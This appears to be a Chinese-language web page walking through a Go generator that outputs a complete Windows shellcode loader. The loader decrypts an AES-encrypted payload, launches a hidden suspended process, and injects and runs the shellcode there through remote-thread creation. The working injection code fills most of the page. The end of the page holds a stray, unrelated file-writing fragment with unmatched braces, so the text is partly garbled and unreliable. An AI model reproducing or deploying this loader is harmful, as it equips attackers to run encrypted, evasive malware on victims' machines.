Go语言代码分析:Windows Shellcode注入模板
这段代码定义了一个名为LoadWindowsTemplate的函数,它接收一个Shellcode类型的参数s,并返回一个字符串。
函数内部首先将s中的Payload、AesKey和Target转换为十六进制字符串,然后使用fmt.Sprintf将它们插入到一个包含Go代码的字符串中(类似于模板)。
该字符串中的Go代码实现了一个程序,它将AES加密的shellcode注入到另一个进程中,并在该进程上下文中执行它。下面是一些主要功能的解释:
decrypt函数使用AES解密给定的密钥和密文。StringBytesParseString函数将给定的字节数组解析为字符串。loadProcess函数创建一个新的被挂起的进程,返回一个syscall.ProcessInformation类型。VirtualAllocEx函数在指定进程的虚拟地址空间中分配内存。WriteProcessMemory函数将数据写入指定进程的内存空间。VirtualProtectEx函数修改指定内存区域的保护方式。CreateRemoteThread函数在指定进程中创建一个新的远程线程。closeHandle函数关闭指定进程的句柄。
最后,该程序将在一个新的进程中执行shellcode,然后关闭该进程的句柄。
package loader
import (
"fmt"
)
func LoadWindowsTemplate(s Shellcode) string {
hexShellcode := ToString(s.Payload)
hexKey := ToString(s.AesKey)
hexTarget := ToString([]byte(s.Target))
return fmt.Sprintf(`
package main
import (
'crypto/aes'
'os'
'syscall'
'unsafe'
'strings'
'strconv'
'crypto/cipher'
'errors'
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x4
PAGE_EXECUTE_READ = 0x20
PAGE_EXECUTE_READWRITE = 0x40
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_READ = 0x0010
CREATE_SUSPENDED = 0x4
CREATE_NO_WINDOW = 0x8000000
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
OpenProcess = kernel32.MustFindProc("OpenProcess")
CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
closeHandle = kernel32.MustFindProc("CloseHandle")
)
func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
c, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(c)
if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
return nil, errors.New("ciphertext too short")
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)
}
func StringBytesParseString(byteString string) (string, error) {
byteString = strings.TrimSuffix(byteString, "]")
byteString = strings.TrimLeft(byteString, "[")
sByteString := strings.Split(byteString, " ")
var res []byte
for _, s := range sByteString {
i, err := strconv.ParseUint(s, 10, 64)
if err != nil {
return "", err
}
res = append(res, byte(i))
}
return string(res), nil
}
func loadProcess(target string) *syscall.ProcessInformation {
var si syscall.StartupInfo
var pi syscall.ProcessInformation
commandLine, err := syscall.UTF16PtrFromString(target)
if err != nil {
panic(err)
}
err = syscall.CreateProcess(
nil,
commandLine,
nil,
nil,
false,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
nil,
nil,
&si,
&pi)
if err != nil {
panic(err)
}
return &pi
}
func main() {
/* decode values from encoded bytes */
key, err := StringBytesParseString("%s"); if err != nil {
os.Exit(1)
}
bytesPayload, err := StringBytesParseString("%s"); if err != nil {
os.Exit(1)
}
target, err := StringBytesParseString("%s"); if err != nil {
os.Exit(1)
}
/* decrypt shellcode using AES */
shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
os.Exit(1)
}
/* spawn target process */
process := loadProcess(target)
oldProtectCfg := PAGE_READWRITE
/* allocating the appropriate amount of memory */
baseAddr, _, err := VirtualAllocEx.Call(
uintptr(process.Process),
0,
uintptr(len(shellcode)),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* overwriting process memory with our shellcode */
_, _, err = WriteProcessMemory.Call(
uintptr(process.Process),
baseAddr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* changing permissions for our memory segment */
_, _, err = VirtualProtectEx.Call(
uintptr(process.Process),
baseAddr,
uintptr(len(shellcode)),
PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtectCfg)),
)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* load remote thread */
_, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* close process handler */
_, _, err = closeHandle.Call(uintptr(process.Process))
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
}
`, hexKey, hexShellcode, hexTarget)
}
buffer := bufio.NewWriter(f)
_, err = buffer.WriteString(payload + "\n")
if err != nil {
log.Fatal(err)
}
// flush buffered data to the file
if err := buffer.Flush(); err != nil {
log.Fatal(err)
}
return nil
}
原文地址: https://www.cveoy.top/t/topic/lXsv 著作权归作者所有。请勿转载和采集!